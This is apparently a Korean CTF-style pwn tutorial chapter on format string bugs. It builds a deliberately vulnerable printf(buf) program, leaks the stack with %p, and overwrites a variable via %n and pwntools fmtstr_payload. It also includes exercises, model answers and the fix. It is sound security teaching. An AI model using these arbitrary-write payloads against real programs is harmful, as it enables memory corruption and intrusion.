Step 208. Format String: %n으로 메모리 쓰기 — 출력 함수로 쓰는 공격
Level 3 — Pwn 트랙 | 난이도 ★★★★☆ | 예상 소요 시간 5시간
전제: Step 186~188을 마쳤다. 포인터와 메모리 주소의 개념을 알고, pwntools로 프로세스와 대화할 수 있다.
⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
- 준비물: WSL 우분투 터미널, gcc, pwntools. 실측 환경은 Ubuntu 24.04, gcc 13.3.0, pwntools 4.15.0입니다.
- 주의: 포맷 스트링 취약점은 2000년대 초 수많은 실제 침입의 원인이었고, 지금도 CTF의 단골입니다. 오늘의 대상은 여러분이 직접 쓴 실험 프로그램뿐입니다.
버퍼 오버플로우는 "넘치게 쓰는" 공격이었습니다. 오늘의 주인공은 다릅니다. printf — 출력하는 함수 — 에게 메모리를 읽게 하고, 심지어 쓰게 합니다. 넘침도, 덮어쓰기도 없이, 포맷 문자열의 문법 그 자체가 무기가 됩니다. %p 몇 개로 스택을 엿보고, %n 하나로 메모리에 값을 새깁니다. 입력이 길지 않아도 되는, BOF와 다른 계열의 취약점입니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
printf(buf)가 왜 취약한지, 올바른 코드와 비교해 설명한다%p연발 입력으로 스택을 읽고, 내 입력이 몇 번째 인자 자리에 있는지(오프셋) 찾는다%6$p형태의 직접 접근 문법을 쓴다%n의 동작("지금까지 출력한 글자 수를 쓴다")을 설명하고 수동으로 값 하나를 덮어쓴다- pwntools
fmtstr_payload로 임의 주소에 임의 값을 쓰는 페이로드를 자동 생성한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | C 언어 + 파이썬(pwntools), WSL 우분투 bash, gcc 13.3.0 (x86-64) |
| 오늘의 명령어·문법 | %p(인자 출력), %N$p(N번째 인자 직접 읽기), %n(출력 글자 수 쓰기), %Nc(글자 수 조작), fmtstr_payload(오프셋, {주소: 값}), FmtStr(오프셋 자동 계산) |
| 필요한 개념 | 포맷 문자열, 가변 인자, 스택 인자, 오프셋, 주소의 널 바이트 |
2-1. 취약점의 정체 — 입력이 "문법"이 되는 순간
printf의 첫 번째 인자는 포맷 문자열 — 출력 양식을 담은 설계도입니다. %d는 "여기에 정수를", %s는 "여기에 문자열을"이라는 명령이고, 실제 재료는 뒤따르는 인자들에서 가져옵니다.
printf("%s", buf); /* 안전: buf는 재료(데이터) */
printf(buf); /* 취약: buf가 설계도(문법) */
두 번째 형태에서는 우리가 보낸 입력의 %들이 포맷 지시자로 해석됩니다. 재료(인자)를 넘겨주지 않았으므로, printf는 스택에 우연히 놓인 값들을 인자라고 믿고 꺼내 씁니다. 이것이 읽기와 쓰기 모두의 출발점입니다.
2-2. %p 읽기 — 스택의 창
%p는 "인자 하나를 주소 형태로 출력"합니다. 인자를 안 줬으니 스택의 값이 하나씩 튀어나옵니다. %p.%p.%p...로 연발하면 스택 내용이 줄줄이 새어 나옵니다 — 그 안에 내 입력, 내부 포인터, 심하면 카나리나 libc 주소가 있을 수 있습니다.
64비트에서는 printf의 인자가 먼저 레지스터(rsi, rdx, rcx, r8, r9 — 다섯 개)로 전달되므로, 스택에서 새는 값들은 대개 6번째 위치부터 우리의 입력과 만납니다. 이 "내 입력이 몇 번째인가"가 오프셋이며, 이 취약점의 모든 실습은 오프셋 찾기로 시작합니다. %6$p처럼 $ 문법을 쓰면 N번째 인자를 곧바로 읽습니다.
2-3. %n 쓰기 — 카운터를 무기로
%n은 특별합니다. 출력하지 않습니다. "지금까지 출력된 글자 수를, 인자가 가리키는 주소에 쓴다" 입니다.
int n;
printf("abcde%n", &n); /* n = 5 — 'abcde' 다섯 글자 출력됨 */
공격자의 눈으로 다시 읽으면: ① 출력 글자 수는 %8c(8글자 출력) 같은 걸로 우리가 조절할 수 있고, ② "인자가 가리키는 주소"는 스택 위 우리 입력에 주소를 심어 잡을 수 있습니다. 즉 원하는 주소에, 원하는 숫자를 쓸 수 있습니다. 임의 주소 쓰기 — 이 취약점의 정점입니다.
2-4. 주소 배치의 제약 — 널 바이트
64비트 주소(예: 0x40404c)를 리틀 엔디안으로 쓰면 4c 40 40 00 ... — 가운데에 널 바이트가 있습니다. 그런데 printf(buf)에게 buf는 C 문자열이라, 널을 만나는 순간 문자열이 끝납니다. 그래서 주소는 포맷 지시자들 뒤에 배치합니다. 문법이 전부 처리된 다음에 널이 와도 상관없도록. 실제 배치는 3-4에서 손으로 만듭니다.
3. 따라 하기
3-1. 표적 제작 — printf(buf) 하는 프로그램
입력 (vuln208.c)
#include <stdio.h>
int secret_value = 0;
int main(void) {
char buf[100];
printf("secret_value = %d (주소 %p)\n", secret_value, (void *)&secret_value);
printf("입력: ");
fflush(stdout);
fgets(buf, sizeof(buf), stdin); /* 길이는 안전하지만... */
printf(buf); /* 취약: 입력을 포맷 문자열로 사용 */
printf("\nsecret_value = %d\n", secret_value);
return 0;
}
읽는 법: 입력은 상한 있는 fgets로 받습니다 — 버퍼 오버플로우는 없습니다. 취약점은 오직 printf(buf) 한 줄입니다. 프로그램이 공격 목표인 secret_value의 주소를 친절하게 알려 주는 것은 학습용 편의입니다 (실전에서는 %p 읽기로 스스로 찾아냅니다).
컴파일
cd ~/lab204_208
gcc -g -O0 -no-pie vuln208.c -o vuln208
vuln208.c: In function ‘main’:
vuln208.c:11:12: warning: format not a string literal and no format arguments [-Wformat-security]
11 | printf(buf); /* 취약: 입력을 포맷 문자열로 사용 */
| ^~~
(2026-09-09 실측.)
읽는 법: 컴파일러가 이 취약점을 경고로 알고 있습니다 (-Wformat-security). 이 경고를 무시한 코드가 수십 년간 침입의 문이 됐습니다. 경고를 읽는 습관이 곧 방어입니다.
3-2. 읽기 — %p로 스택 엿보기
echo 'AAAA.%p.%p.%p.%p.%p.%p.%p.%p' | ./vuln208
secret_value = 0 (주소 0x40404c)
입력: AAAA.0x2af1d2b1.0xfbad2088.0x7e6ccaf1bb91.0x2af1d2cd.(nil).0x2e70252e41414141.0x70252e70252e7025.0x252e70252e70252e
secret_value = 0
(2026-09-09 실측. 앞쪽 값들은 스택의 잡동사니라 환경마다 다릅니다.)
출력 읽는 법: 여섯 번째 %p 자리에 0x2e70252e41414141이 보입니다. 바이트를 거꾸로(리틀 엔디안) 읽으면 41 41 41 41 2e 25 70 2e = "AAAA.%p." — 우리의 입력 그 자체입니다. 즉, 우리 입력의 시작이 6번째 인자 자리에 있습니다. 오프셋 = 6 확정. 뒤의 7, 8번째 값들도 우리 입력의 연속("%p.%p.%…")입니다.
3-3. 직접 접근 — %6$p로 확인사살
$ 문법으로 6번째 자리를 곧바로 조회합니다.
./vuln208 < fs_direct.txt # 내용: AAAA.%6$p
secret_value = 0 (주소 0x40404c)
입력: AAAA.0x2436252e41414141
(2026-09-09 실측.)
출력 읽는 법: 0x2436252e41414141 = 거꾸로 "AAAA.%6$" — 이번엔 입력의 첫 8바이트 전체가 정확히 찍혔습니다. 오프셋 6이 확실합니다. 셸에서 $를 입력할 때는 이스케이프 문제가 있으니(벽 1) 파일로 먹이는 것이 편합니다.
3-4. ★ 쓰기 1 — 수동 %n으로 secret_value 덮기
설계합니다. buf의 배치: 첫 8바이트(6번째 자리)에는 %8c%7$n + 채움 ‘A’ 한 글자, 다음 8바이트(7번째 자리)에는 목표 주소 0x40404c.
%8c— 글자 8개를 출력합니다. "지금까지 출력한 글자 수"가 8이 됩니다.%7$n— 7번째 자리(우리가 심은 주소)가 가리키는 곳에 8을 씁니다.
from pwn import *
manual = b'%8c%7$n' + b'A' + p64(0x40404c)
# ... process로내면:
[수동 %n] secret_value = 8
(2026-09-09 실측.)
성공입니다. secret_value가 0에서 8로 바뀌었습니다. 우리가 출력시킨 글자 수 8이, 우리가 심은 주소의 변수에 기록됐습니다. 넘침 없이, 문법만으로 메모리를 썼습니다. 여기서 멈추지 않습니다 — 출력 글자 수를 늘리면 쓸 값을 키울 수 있습니다.
3-5. ★ 쓰기 2 — fmtstr_payload로 임의 값 쓰기
큰 값(예: 0x1337)을 손으로 배치하는 것은 번거롭습니다. pwntools가 자동으로 만듭니다.
입력 (fs_write.py)
#!/usr/bin/env python3
from pwn import *
BIN = '/root/lab204_208/vuln208'
context.binary = BIN # 아키텍처(amd64) 지정 — fmtstr_payload 정확도의 열쇠
SECRET = 0x40404c
payload = fmtstr_payload(6, {SECRET: 0x1337})
print('[자동] 생성된 페이로드:', payload)
p = process(BIN)
p.recvuntil('입력: '.encode())
p.sendline(payload)
print(p.recvall(timeout=2).decode(errors='replace'))
실행
[자동] 생성된 페이로드: b'%55c%9$lln%220c%10$hhnaaL@@\x00\x00\x00\x00\x00M@@\x00\x00\x00\x00\x00'
[자동 fmtstr_payload] secret_value = 4919
(2026-09-09 실측.)
출력 읽는 법: 4919 = 0x1337. 원하는 값이 정확히 들어갔습니다. 생성된 페이로드를 뜯어보면 3-4의 수법과 같은 원리입니다.
%55c%9$lln— 55글자(0x37) 출력 후 9번째 자리 주소(0x40404c = ‘L@@…’)에 0x37을 기록.%220c%10$hhn— 220글자를 더 출력(합계 275 = 0x113) 후 10번째 자리 주소(0x40404d = ‘M@@…’)에 하위 1바이트만(hhn) 0x13을 기록.- 결과: 0x40404c에 0x00001337. 큰 수를 두 번에 나눠 쓰는 기법입니다.
참고: 오프셋 6도 자동으로 찾을 수 있습니다. pwntools의
FmtStr클래스에 "페이로드를 보내고 출력을 돌려주는 함수"를 넘기면, 여러 번 시행착오 끝에 오프셋을 알아냅니다. 실측 결과자동 계산된 오프셋: 6— 우리의 수동 측정과 일치했습니다.
4. 미션과 연습문제
미션 — 목표 값으로 조건 통과시키기
- vuln208.c를 변형한다:
if (secret_value == 100) puts("FLAG{...}");분기를 추가해, secret_value가 정확히 100일 때만 플래그가 나오게 한다 - 읽기 단계를 재수행한다:
%p연발로 오프셋을 찾고%N$p로 확인한다 - 수동으로 secret_value를 100으로 쓰는 페이로드를 설계한다 (힌트:
%100c+%N$n, 주소 배치에 유의) - fmtstr_payload로도 같은 목표를 달성하고, 두 페이로드를 비교한다
- 리포트에 답한다: "이 취약점의 근본적인 수정은 무엇인가" 와 "왜 fgets로 입력을 안전하게 받았는데도 뚫렸는가"
연습문제
문제 1. printf("%s", buf)와 printf(buf)의 차이를, "누가 설계도인가"의 관점으로 설명해 보세요.
문제 2. 3-2에서 오프셋이 6이었습니다. 왜 1이 아니라 6 부근에서 시작하나요?
문제 3. %n의 동작을 한 문장으로 설명하고, 공격자가 "쓸 값"과 "쓸 주소"를 각각 어떻게 조절하는지 말해 보세요.
문제 4. 3-5에서 주소를 포맷 지시자들 뒤에 배치했습니다. 앞에 두면 왜 안 되나요?
5. 모범 답안과 완료 기준
미션 모범 답안
리포트의 예 (2026-09-09, Ubuntu 24.04, gcc 13.3.0 기준 — 주소·오프셋은 환경에 따라 달라집니다):
[읽기] %p 연발 → 내 입력 "AAAA"가 6번째 자리에 출현, %6$p로 확인
[수동 쓰기] payload = b'%100c%7$n' + b'A' + p64(secret_value 주소)
→ %100c로 100글자 출력 → 7번째 자리 주소에 100 기록 → FLAG 출력
[자동 쓰기] fmtstr_payload(6, {주소: 100}) → 동일 결과
(pwntools는 %hhn 한 번에 작은 수를 쓰는 식으로 더 짧게 만든다)
[답변]
근본 수정: printf("%s", buf) — 입력을 데이터로만 다루기
뚫린 이유: fgets는 "길이"를 지켰을 뿐, 입력이 "포맷 문자열로
해석되는" 것은 막지 못했다. 안전한 입력 ≠ 안전한 사용
검증하는 법: ① 수동 페이로드가 스스로 설계한 것인가(자동 생성 결과와 바이트가 달라야 정상 — 원리를 손으로 썼다는 증거). ② 오프셋이 추정이 아니라 %p 관찰에서 나왔는가. ③ "안전한 입력과 안전한 사용의 구분"이 답변에 있는가.
연습문제 해답
문제 1 해답. printf("%s", buf)에서는 설계도가 프로그래머의 고정 문자열 "%s"이고 buf는 재료(데이터)일 뿐입니다. printf(buf)에서는 buf 자체가 설계도가 되므로, 입력 속의 %가 전부 명령으로 해석됩니다. 같은 함수인데 "입력이 문법이 되는가"가 결정적 차이입니다.
문제 2 해답. x86-64 System V 규약에서 printf의 가변 인자는 먼저 레지스터 다섯 개(rsi, rdx, rcx, r8, r9)로 전달되고, 스택 자리는 그다음(6번째)부터이기 때문입니다. 우리의 입력 buf는 스택에 있으므로 레지스터 자리(1~5번)를 지난 6번째에서 만납니다. 환경에 따라 숫자는 달라질 수 있으니 반드시 관찰로 확인합니다.
문제 3 해답. "%n은 지금까지 출력된 글자 수를, 인자가 가리키는 주소에 정수로 기록한다." 쓸 값은 %100c 같은 폭 지정으로 출력 글자 수를 부풀려 조절하고, 쓸 주소는 스택 위 우리 입력 안에 포인터를 심어 %N$n으로 그 자리를 가리켜 조절합니다.
문제 4 해답. 64비트 주소에는 널 바이트가 들어 있는데(0x40404c → 4c 40 40 00...), printf(buf)에게 buf는 널로 끝나는 C 문자열이라, 주소를 앞에 두면 포맷 지시자가 처리되기 전에 문자열이 끝나 버립니다. 뒤에 두면 모든 지시자가 먼저 처리되므로, 이어서 오는 널은 해석에 영향을 주지 않습니다.
완료 기준 체크리스트
- [ ] printf(buf)의 취약 원인과 컴파일러 경고(-Wformat-security)를 설명할 수 있다
- [ ] %p 연발로 스택을 읽고 내 입력의 오프셋을 찾았다
- [ ] %N$p 직접 접근으로 오프셋을 확인사살했다
- [ ] %n의 동작(출력 글자 수 → 메모리 기록)을 설명할 수 있다
- [ ] 수동 페이로드로 secret_value를 덮어썼다
- [ ] fmtstr_payload로 임의 값(0x1337) 쓰기에 성공했다
- [ ] 주소의 널 바이트 때문에 주소를 뒤에 배치하는 이유를 안다
- [ ] 미션: 조건 분기 통과 리포트(수동+자동)를 완성했다
6. 흔한 실수와 해결
벽 1. %6$p를 쳤는데 %6까지만 나온다
증상: echo "AAAA.%6$p" | ./vuln208의 출력이 AAAA.%6으로 끊깁니다 (집필 실측에서 실제로 겪었습니다).
원인: 셸이 $p를 변수로 해석해 먹어 버립니다. 큰따옴표 안에서도 $는 확장됩니다.
해결: 입력을 파일로 만들어 리다이렉트하세요 (./vuln208 < fs_direct.txt). pwntools 스크립트 안의 b’%6$p’는 셸을 거치지 않으므로 안전합니다.
벽 2. fmtstr_payload가 만든 페이로드가 죽인다
증상: 자동 생성 페이로드를 보냈더니 출력 없이 프로세스가 끝납니다. 생성물을 보면 %12$n처럼 오프셋보다 큰 번호가 들어 있습니다 (집필 실측: context 미지정 시 %55c%12$n%220c%13$hhnaaaL@@\x00M@@\x00 — 32비트용 4바이트 주소 배치).
원인: context.binary 미지정으로 pwntools가 i386으로 착각했습니다. 슬롯이 4바이트라 주소 위치 계산이 전부 어긋납니다.
해결: context.binary = BIN을 먼저 지정하세요. 그러면 amd64용으로 %9$lln, %10$hhn 같은 정확한 페이로드가 나옵니다 (실측으로 수정 전후를 모두 확인했습니다).
벽 3. %n을 썼는데 프로그램이 세그폴트로 죽는다
증상: 페이로드를 넣는 순간 죽습니다.
원인: %N$n의 N번째 자리에 유효한 주소가 없어, 쓰레기 값을 주소로 삼아 쓰기를 시도했기 때문입니다.
해결: 오프셋부터 다시 확인하세요. %N$p로 그 자리의 내용을 먼저 찍어 보고, 우리가 심은 주소가 정확히 N번째에 오는지(앞의 포맷 문자 길이가 8의 배수로 맞는지) 점검합니다. 한 글자 어긋나면 주소가 두 슬롯에 걸쳐 깨집니다.
벽 4. 쓰기는 됐는데 값이 이상하다
증상: 100을 쓰려 했는데 다른 수가 들어갑니다.
원인: "지금까지 출력한 글자 수"에 포맷 문자열 앞의 다른 출력(프로그램의 배너 등)이나, 같은 페이로드 안의 앞선 지시자 출력이 포함되기 때문입니다.
해결: 카운트는 printf(buf) 안에서만 셉니다. buf 안의 지시자 순서상 %n 이전에 출력된 것만 더해집니다. 수동 설계가 꼬이면 fmtstr_payload로 교차 검증하세요.
벽 5. 컴파일은 됐는데 아무 취약점도 안 보인다
증상: %p를 넣어도 그대로 "%p"가 출력됩니다.
원인: 소스가 printf("%s", buf)로 돼 있거나, 컴파일러가 printf(buf)를 puts(buf)로 최적화해 바꿨을 수 있습니다 (-O1 이상에서 일어날 수 있음).
해결: 소스의 printf(buf)를 확인하고, 오늘 실습은 -O0로 컴파일하세요.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| 포맷 스트링 취약점 | 입력이 printf의 설계도(문법)가 되는 결함 |
| %p 읽기 | 스택의 값을 인자로 착각해 출력 — 정보 유출 |
| 오프셋 | 내 입력이 몇 번째 인자 자리인가 — 모든 공격의 출발점 |
| %n 쓰기 | 출력 글자 수를 인자가 가리키는 주소에 기록 — 임의 쓰기 |
| fmtstr_payload | 오프셋과 {주소: 값}으로 쓰기 페이로드 자동 생성 |
| 널 바이트 배치 | 주소는 포맷 지시자 뒤에 — C 문자열의 끝 규칙 때문 |
오늘의 명령어·문법
| 문법·코드 | 하는 일 |
|---|---|
%p.%p.%p... |
스택 연속 읽기 — 오프셋 정찰 |
%6$p |
6번째 인자 자리 직접 읽기 |
%8c |
8글자 출력 — %n의 카운터 조작 |
%7$n |
7번째 자리 주소에 카운트 기록 |
%N$hhn |
1바이트만 쓰기 (큰 값은 나눠 쓴다) |
fmtstr_payload(6, {0x40404c: 0x1337}) |
쓰기 페이로드 자동 생성 |
FmtStr(함수) |
오프셋 자동 계산 |
명령어보다 중요한 감각
이 취약점의 교훈은 함수가 아니라 문법에 있습니다. 프로그래머는 "출력"만 빌렸다고 생각했지만, printf에게 넘긴 것은 문법이었고, 문법을 쥔 자는 함수의 전부를 쥡니다. 안전한 입력(fgets)과 안전한 사용(printf("%s", …))은 다른 문제라는 것 — 이 구분 하나가 수많은 실제 사고를 가릅니다.
그리고 %n의 존재 자체를 보세요. "출력한 글자 수를 메모리에 쓴다"는 얌전한 편의 기능이, 주소를 쥘 수 있게 되는 순간 임의 쓰기가 됐습니다. 기능은 중립이지만, 조합은 중립이 아닙니다. 공격자의 눈이란 결국 이런 조합을 발견하는 시선입니다.
전부 체크되면 Step 208 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.